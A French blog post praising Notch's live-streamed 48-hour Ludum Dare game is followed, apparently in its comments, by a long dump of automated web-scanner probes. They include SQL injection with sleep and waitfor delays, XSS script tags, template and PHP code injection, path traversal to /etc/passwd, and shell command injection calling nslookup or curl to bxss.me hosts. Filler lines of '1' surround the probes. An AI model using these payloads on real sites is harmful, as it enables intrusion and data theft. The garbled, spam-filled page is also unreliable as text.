Notch code un jeu en 48h en live
Notch, le créateur du célèbre Minecraft, a participé au concours Ludum Dare, qui consiste à créer un jeu en 48h. Les seules restrictions étant de coder l'ensemble du jeu seul, sous 48h, et sur le thème imposé, ici "Escape". Le principal intérêt ici est qu'il a diffusé sa performance en live sur le net.
Le résultat est visible sur le site du concours, Ludum Dare. Il y a notamment une version jouable en ligne, et l'accès au code source.
J'ai regardé une partie du flux pendant qu'il codait, et je dois dire que c'était impressionnant. Ce n'est pas tant le fait qu'il code vite - sur ce point là, je dois être un peu plus rapide - mais surtout qu'il est très régulier, sa vitesse ne baisse pas. Aussi, il a tout en tête, il est difficile de croire qu'il improvise tout ça. Et il a une excellente compréhension des maths derrière le moteur 3D; pour ma part j'aurais besoin de poser ça sur papier pour bien comprendre.
Ensuite, au niveau du code, bon il n'y a pas de commentaires mais c'est normal pour un défi de ce type, il n'a pas le temps. Mais son code source est relativement propre et lisible, il est facile de faire des modifs et donc de faire évoluer le jeu. Le jeu en lui même est plutôt pas mal, surtout s'il on considère le temps passé.
Il aurait été intéressant d'avoir plus d'infos sur sa réflexion pendant le concours, parce que là c'est à peine s'il dit plus de 10 mots en tout, et on ne peut que deviner plus ou moins ce à quoi il pense en se basant sur ce qu'il code. Mais ça reste instructif à regarder.
PS : Notch a notamment eu l'idée originale de proposer un match de Quake3 en réponse à une société qui lui fait un procès pour une broutille ; j'aime le geste. Plus d'infos
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1F4Idpa8O
1
1
1
1
1
1
1
1
redirtest.acx
response.write(9102408*9759201)
1
'+response.write(9102408*9759201)+'
1
1
1
"+response.write(9102408*9759201)+"
1
1
1
1
1
)
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitcf'.'ynyeltia4616a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(65).chr(97).chr(81).'
'"()
1
".gethostbyname(lc("hitqb"."ixmnppkh30c53.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(82).chr(121).chr(66)."
1
1'&&sleep(27*1000)*japhgr&&'
1"&&sleep(27*1000)*egozbx&&"
gethostbyname(lc('hitgq'.'esfoeasp70c6f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(67).chr(119).chr(85)
1'||sleep(27*1000)*uhflie||'
1
1"||sleep(27*1000)*rpgyly||"
1
1
HttP://bxss.me/t/xss.html?%00
1
1
bxss.me/t/xss.html?%00
1
1
1
"+"A".concat(70-3).concat(22*4).concat(98).concat(77).concat(107).concat(67)+(require"socket"
Socket.gethostbyname("hitvw"+"iamkhgmsa87d7.bxss.me.")[3].to_s)+"
1
1
'+'A'.concat(70-3).concat(22*4).concat(108).concat(68).concat(122).concat(86)+(require'socket'
Socket.gethostbyname('hittd'+'kpsbvnlp2da2b.bxss.me.')[3].to_s)+'
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
'A'.concat(70-3).concat(22*4).concat(100).concat(83).concat(112).concat(69)+(require'socket'
Socket.gethostbyname('hitoe'+'pilfodelc2a0b.bxss.me.')[3].to_s)
1
1
'"
';print(md5(31337));$a='
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
";print(md5(31337));$a="
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1
1
1
${@print(md5(31337))}
1
Http://bxss.me/t/fit.txt
1
1
1
1
${@print(md5(31337))}\
http://bxss.me/t/fit.txt%3F.jpg
1
1
1
'.print(md5(31337)).'
echo babkpm$()\ mexabu\nz^xyu||a #' &echo babkpm$()\ mexabu\nz^xyu||a #|" &echo babkpm$()\ mexabu\nz^xyu||a #
/etc/shells
12345'"\'\");|]*%00{%0d%0a%bf%27'💡
1
../../../../../../../../../../../../../../etc/passwd
${9999487+10000372}
&echo ykgrep$()\ cpbwvo\nz^xyu||a #' &echo ykgrep$()\ cpbwvo\nz^xyu||a #|" &echo ykgrep$()\ cpbwvo\nz^xyu||a #
../../../../../../../../../../../../../../etc/shells
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1&echo knxpnc$()\ tcmanx\nz^xyu||a #' &echo knxpnc$()\ tcmanx\nz^xyu||a #|" &echo knxpnc$()\ tcmanx\nz^xyu||a #
c:/windows/win.ini
1
file:///etc/passwd
|echo dqfsyo$()\ jdjtzr\nz^xyu||a #' |echo dqfsyo$()\ jdjtzr\nz^xyu||a #|" |echo dqfsyo$()\ jdjtzr\nz^xyu||a #
bxss.me
1
1
1|echo ywqach$()\ ezkpmo\nz^xyu||a #' |echo ywqach$()\ ezkpmo\nz^xyu||a #|" |echo ywqach$()\ ezkpmo\nz^xyu||a #
../1
expr 9000651019 - 985914
1
1
./1
(nslookup -q=cname hittlaaoqjbqb972ff.bxss.me||curl hittlaaoqjbqb972ff.bxss.me))
1
$(nslookup -q=cname hitljlfcqjowx56d93.bxss.me||curl hitljlfcqjowx56d93.bxss.me)
1
1
&nslookup -q=cname hittongnelsefb99ca.bxss.me&'\"`0&nslookup -q=cname hittongnelsefb99ca.bxss.me&`'
1
1
&(nslookup -q=cname hitcspikwevdc0c891.bxss.me||curl hitcspikwevdc0c891.bxss.me)&'\"`0&(nslookup -q=cname hitcspikwevdc0c891.bxss.me||curl hitcspikwevdc0c891.bxss.me)&`'
1
|(nslookup -q=cname hitiyvdkthtez7fdc2.bxss.me||curl hitiyvdkthtez7fdc2.bxss.me)
`(nslookup -q=cname hitpbtsdyscdge373b.bxss.me||curl hitpbtsdyscdge373b.bxss.me)`
;(nslookup -q=cname hitwreyvekgiy5f20f.bxss.me||curl hitwreyvekgiy5f20f.bxss.me)|(nslookup -q=cname hitwreyvekgiy5f20f.bxss.me||curl hitwreyvekgiy5f20f.bxss.me)&(nslookup -q=cname hitwreyvekgiy5f20f.bxss.me||curl hitwreyvekgiy5f20f.bxss.me)
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitfklwqmggyr7a584.bxss.me||curl${IFS}hitfklwqmggyr7a584.bxss.me)
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitdksibpnwnp8280b.bxss.me||curl${IFS}hitdksibpnwnp8280b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdksibpnwnp8280b.bxss.me||curl${IFS}hitdksibpnwnp8280b.bxss.me)&`'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%IeVR(9761)
'"()&%IeVR(9321)
19404703
bfg4739%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4739
bfgx8471%C0%BEz1%C0%BCz2a%90bcxhjl8471
1
1
1}}"}}'}}1%>"%>'%>
1
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1IeVR(9584)
1GV2AE[!+!]
1IeVR(9869)
1IeVR(9869)9869
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%49%65%56%52%28%39%33%34%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1IeVR(9935)
1
1IeVR(9355)
1
1
1
1
1
1
1
1
1
1
1
1SycZGmeO
1
1
%31%3C%53%63%52%69%50%74%20%3E%49%65%56%52%289864%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1\u003CScRiPt\IeVR(9329)\u003C/sCripT\u003E
1
redirtest.acx
1
response.write(9886764*9120161)
1<ScRiPt>IeVR(9465)</sCripT>
1
'+response.write(9886764*9120161)+'
�
"+response.write(9886764*9120161)+"
1
1
)
!(()&&!|*|*|
^(#$!@#$)(()))******
1}body{zzz:Expre/**/SSion(IeVR(9618))}
1
1
1
1
1
1
1
1Wlohs
IeVR(9162)
1
1
1
1
1
1
1U6G06[!+!]
'.gethostbyname(lc('hitof'.'ftyrjpfp02a40.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(77).chr(115).chr(69).'
1
1
1
'"()
".gethostbyname(lc("hitjg"."hllgzdoo147d2.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(68).chr(116).chr(85)."
1
1
1'&&sleep(27*1000)*yjylwd&&'
1
1
gethostbyname(lc('hitrs'.'fkwavcxs30358.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(66).chr(114).chr(78)
1
1
1"&&sleep(27*1000)*vaaftz&&"
1
1'||sleep(27*1000)*jlmwws||'
1
1"||sleep(27*1000)*himdcf||"
1
1
HttP://bxss.me/t/xss.html?%00
1
bxss.me/t/xss.html?%00
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
"+"A".concat(70-3).concat(22*4).concat(121).concat(79).concat(121).concat(70)+(require"socket"
Socket.gethostbyname("hitqd"+"jsyejbccac846.bxss.me.")[3].to_s)+"
1
';print(md5(31337));$a='
echo wqcugj$()\ hrlnnm\nz^xyu||a #' &echo wqcugj$()\ hrlnnm\nz^xyu||a #|" &echo wqcugj$()\ hrlnnm\nz^xyu||a #
'+'A'.concat(70-3).concat(22*4).concat(103).concat(85).concat(102).concat(66)+(require'socket'
Socket.gethostbyname('hituh'+'yfselnvqf23d4.bxss.me.')[3].to_s)+'
1
&echo bajzpi$()\ phvbou\nz^xyu||a #' &echo bajzpi$()\ phvbou\nz^xyu||a #|" &echo bajzpi$()\ phvbou\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
";print(md5(31337));$a="
1
1
1
'A'.concat(70-3).concat(22*4).concat(114).concat(82).concat(104).concat(89)+(require'socket'
Socket.gethostbyname('hitsb'+'wvtvbnfbf8263.bxss.me.')[3].to_s)
1&echo xipfcm$()\ zdgfhr\nz^xyu||a #' &echo xipfcm$()\ zdgfhr\nz^xyu||a #|" &echo xipfcm$()\ zdgfhr\nz^xyu||a #
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
${@print(md5(31337))}
|echo jzwnnj$()\ zjfdqh\nz^xyu||a #' |echo jzwnnj$()\ zjfdqh\nz^xyu||a #|" |echo jzwnnj$()\ zjfdqh\nz^xyu||a #
'"
1
${@print(md5(31337))}\
Http://bxss.me/t/fit.txt
1
1
1|echo cekrac$()\ cmdyaq\nz^xyu||a #' |echo cekrac$()\ cmdyaq\nz^xyu||a #|" |echo cekrac$()\ cmdyaq\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
'.print(md5(31337)).'
1
http://bxss.me/t/fit.txt%3F.jpg
../../../../../../../../../../../../../../windows/win.ini
expr 9000442652 - 910904
1
1
/etc/shells
1
file:///etc/passwd
(nslookup -q=cname hitpmjwixantyeffa6.bxss.me||curl hitpmjwixantyeffa6.bxss.me))
1
1
../../../../../../../../../../../../../../etc/shells
1
1
$(nslookup -q=cname hitmwhtvdkwxr2d72c.bxss.me||curl hitmwhtvdkwxr2d72c.bxss.me)
1
c:/windows/win.ini
1
&nslookup -q=cname hittrfsrqrxqh4cd79.bxss.me&'\"`0&nslookup -q=cname hittrfsrqrxqh4cd79.bxss.me&`'
1
../1
1
1
1
bxss.me
&(nslookup -q=cname hitqgbusoxqyoab8de.bxss.me||curl hitqgbusoxqyoab8de.bxss.me)&'\"`0&(nslookup -q=cname hitqgbusoxqyoab8de.bxss.me||curl hitqgbusoxqyoab8de.bxss.me)&`'
1
./1
1
|(nslookup -q=cname hitkvrzbxmbti0c817.bxss.me||curl hitkvrzbxmbti0c817.bxss.me)
1
1
1
1
12345'"\'\");|]*%00{%0d%0a%bf%27'💡
`(nslookup -q=cname hityjudnozthcfc0fb.bxss.me||curl hityjudnozthcfc0fb.bxss.me)`
1
1
1
;(nslookup -q=cname hittulksbyaeha95ab.bxss.me||curl hittulksbyaeha95ab.bxss.me)|(nslookup -q=cname hittulksbyaeha95ab.bxss.me||curl hittulksbyaeha95ab.bxss.me)&(nslookup -q=cname hittulksbyaeha95ab.bxss.me||curl hittulksbyaeha95ab.bxss.me)
${9999667+10000163}
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitxsdmsmroac24f7d.bxss.me||curl${IFS}hitxsdmsmroac24f7d.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitikiaireair39e60.bxss.me||curl${IFS}hitikiaireair39e60.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitikiaireair39e60.bxss.me||curl${IFS}hitikiaireair39e60.bxss.me)&`'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1'"()&%KRb9(9115)
'"()&%KRb9(9624)
19398385
bfg8562%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8562
bfgx8433%C0%BEz1%C0%BCz2a%90bcxhjl8433
1
555
1
1}}"}}'}}1%>"%>'%>
555
1
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1KRb9(9911)
1EMRRF[!+!]
1KRb9(9603)
1KRb9(9717)9717
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4B%52%62%39%28%39%38%38%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1KRb9(9009)
1
1KRb9(9359)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%4B%52%62%39%289925%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\KRb9(9657)\u003C/sCripT\u003E
1<ScRiPt>KRb9(9608)</sCripT>
�
1
1}body{zzz:Expre/**/SSion(KRb9(9416))}
1UWkIs
KRb9(9861)
17SOMG[!+!]
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%m0MQ(9064)
1
1
'"()&%m0MQ(9887)
1
19431150
1
bfg7825%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7825
bfgx7218%C0%BEz1%C0%BCz2a%90bcxhjl7218
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
dfb[[${98991*97996}]]xca
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1m0MQ(9167)
1
1TSZYM[!+!]
1m0MQ(9717)
1
1m0MQ(9508)9508
1
1
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6D%30%4D%51%28%39%36%33%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1
1m0MQ(9482)
1
1
1
1m0MQ(9469)
1
1
1
1
1
1
1
1
1
-1 OR 2+890-890-1=0+0+0+1 --
1
-1 OR 3+890-890-1=0+0+0+1 --
1
-1 OR 3*2
-1 OR 3*2>(0+5+890-890) --
1
-1 OR 2+470-470-1=0+0+0+1
-1 OR 3+470-470-1=0+0+0+1
1
1
1
-1 OR 3*2
-1 OR 3*2>(0+5+470-470)
1
%31%3C%53%63%52%69%50%74%20%3E%6D%30%4D%51%289685%29%3C%2F%73%43%72%69%70%54%3E
-1' OR 2+780-780-1=0+0+0+1 --
-1' OR 3+780-780-1=0+0+0+1 --
1\u003CScRiPt\m0MQ(9936)\u003C/sCripT\u003E
-1' OR 3*2
1<ScRiPt>m0MQ(9247)</sCripT>
-1' OR 3*2>(0+5+780-780) --
1
-1' OR 2+88-88-1=0+0+0+1 or 'Tp2vIfy9'='
�
1
-1' OR 3+88-88-1=0+0+0+1 or 'Tp2vIfy9'='
-1' OR 3*2
1
1
-1' OR 3*2>(0+5+88-88) or 'Tp2vIfy9'='
-1" OR 2+573-573-1=0+0+0+1 --
1
-1" OR 3+573-573-1=0+0+0+1 --
1
-1" OR 3*2
1
1}body{zzz:Expre/**/SSion(m0MQ(9545))}
-1" OR 3*2>(0+5+573-573) --
1RIE4W
m0MQ(9574)
1
1MB4XR[!+!]
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
10pU1jkjB'; waitfor delay '0:0:15' --
1
1-1 OR 584=(SELECT 584 FROM PG_SLEEP(15))--
1
-1 OR 2+465-465-1=0+0+0+1 --
-1 OR 3+465-465-1=0+0+0+1 --
-1 OR 3*2
-1 OR 3*2>(0+5+465-465) --
-1 OR 2+430-430-1=0+0+0+1
-1 OR 3+430-430-1=0+0+0+1
1-1) OR 703=(SELECT 703 FROM PG_SLEEP(15))--
-1 OR 3*2
-1 OR 3*2>(0+5+430-430)
-1' OR 2+817-817-1=0+0+0+1 --
-1' OR 3+817-817-1=0+0+0+1 --
-1' OR 3*2
-1' OR 3*2>(0+5+817-817) --
-1' OR 2+363-363-1=0+0+0+1 or '31blyxxL'='
-1' OR 3+363-363-1=0+0+0+1 or '31blyxxL'='
-1' OR 3*2
-1' OR 3*2>(0+5+363-363) or '31blyxxL'='
-1" OR 2+553-553-1=0+0+0+1 --
-1" OR 3+553-553-1=0+0+0+1 --
-1" OR 3*2
-1" OR 3*2>(0+5+553-553) --
1-1)) OR 725=(SELECT 725 FROM PG_SLEEP(15))--
1rUMxZLte' OR 62=(SELECT 62 FROM PG_SLEEP(15))--
1*if(now()=sysdate(),sleep(15),0)
1Am8L1qNN') OR 889=(SELECT 889 FROM PG_SLEEP(15))--
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1aRqmZau6')) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1����%2527%2522\'\"
1-1; waitfor delay '0:0:15' --
@@0cTpM
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1KBXSKcT2'; waitfor delay '0:0:15' --
1-1 OR 639=(SELECT 639 FROM PG_SLEEP(15))--
1-1) OR 583=(SELECT 583 FROM PG_SLEEP(15))--
1-1)) OR 225=(SELECT 225 FROM PG_SLEEP(15))--
1LIzjwi3t' OR 465=(SELECT 465 FROM PG_SLEEP(15))--
1hOaJhLXv') OR 646=(SELECT 646 FROM PG_SLEEP(15))--
1mfRsYcRV')) OR 990=(SELECT 990 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1����%2527%2522\'\"
@@pAzbo
1
1